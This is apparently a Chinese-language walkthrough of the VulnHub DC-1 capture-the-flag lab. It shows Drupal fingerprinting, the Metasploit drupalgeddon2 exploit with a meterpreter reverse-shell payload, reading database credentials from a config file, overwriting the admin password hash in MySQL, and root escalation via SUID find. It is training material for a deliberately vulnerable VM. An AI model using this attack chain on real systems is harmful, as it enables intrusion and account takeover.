DC-1的靶机下载地址为:https://www.vulnhub.com/entry/dc-1,292/
环境配置:导入虚拟机后网络适配器改成NAT模式就行了
kali和DC-1都为NAT就行了
一 信息收集
探测目标IP地址
探测主机的工具有很多,常见的有arp-scan、nmap
探测到主机IP是192.168.236.141
网页信息收集
用kali自带的工具whatweb扫看看站点是什么
whatweb -v 192.168.236.141
扫描获得了许多信息
CMS是Drupal Apache 2.2.22 PHP 5.4.45
漏洞利用
Drupal的话msf有一些现成的模块我们可以尝试试试。
这里我们利用漏洞等级较高的,且时间最新的18年那个漏洞
漏洞利用
利用18年那个漏洞
use exploit/unix/webapp/drupal_drupalgeddon2
查看payload有什么
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > show payloads
看到了熟悉的php/meterpreter/reverse_tcp
使用payload
set payload payload/php/meterpreter/reverse_tcp
查看需要配置的参数,yes的为必填项,no的可以不填
设置一下RHOSTS,也就是靶机ip
启动,run和exploit都可以
看到session的建立
看看DC-1的版本信息
sysinfo
获得shell
直接使用交互式shell
shell
python -c "import pty;pty.spawn('/bin/bash')"
flag1
ls看看有没有啥文件,发现一个flag1.txt
给了提示:Every good CMS needs a config file - and so do you.
每个好的CMS都需要一个配置文件——你也是。
flag2
根据提示尝试找一下他的配置文件
find . -name “set*”
发现有,查看一下内容
发现了许多信息还有flag2,flag2提示
*暴力和字典攻击不是最常见的
*只有获得访问权限的方法(您将需要访问权限)。
*你能用这些证书做什么?
文件里面有数据库的账号密码记录下来
‘database’ => ‘drupaldb’,
‘username’ => ‘dbuser’,
‘password’ => ‘R0ck3t’,
flag3
尝试一下数据库登录
mysql -udbuser -pR0ck3t
查看库
show databases;
进入drupaldb库中
use drupaldb
查看库中的表
show tables;
可以看到有一个users的表
查看表中内容
select * from users;
这样有点难看,换一种查看
select * from users\G;
/G 的作用是将查到的结构旋转90度变成纵向:
可以看到admin的密码给加密了,应该是某种hash,爆破也没什么反应,找找其他的方法。
找找是否有加密的文件
find . -name “*hash*”
找到可运行的文件((./scripts/password-hash.sh))运行下查看:
意思应该是说在后面加密码就会返回加密后的结果
我们简单测试下,设置密码123456
./scripts/password-hash.sh 123456
返回了hash值保存下来,既然之前admin密码不知道,尝试着是否可以将原来的密码替换
重新回到数据库drupaldb内。
更新密码
update users set pass = "$S$DVzqQCwYoMGkM4bLJxwsPrMM9H9xJgrGx4HyayDPwv3JOF7RObrc" where name = 'admin';
完成后,我们访问网站192.168.236.141
使用admin 123456 登入成功
找到了flag3
获得提示:Special PERMS will help FIND the passwd - but you’ll need to -exec that command to work out how to get what’s in the shadow.
flag4
根据提示passwd我们可以想到/etc/passwd和/etc/shadow
cat /etc/passwd
tag /etc/passwd
发现里面有flag4,给了个路径/home/flag4,切换到flag4里面看看有什么文件
发现权限不够。需要提权
首先试试SUID提权
查看默认以root权限执行的程序
find / -perm -u=s -type f 2>/dev/null
find 指令
/ 根目录(查找位置)
-perm 权限
-u 用户(s=特权)
-type 类型
f 文件
2>/dev/nul 过滤错误信息(不显示错误信息)
看到find就在其中,直接使用find提权
find / -exec "/bin/bash" -p \;
再次查看flag4.txt
并且提示:
Can you use this same method to find or access the flag in root?
Probably. But perhaps it’s not that easy. Or maybe it is?
flag5
我们进入/root,ls查看目录下的文件
获得最终的flag
难点
msf使用对应的模块
mysql的修改数据
SUID提权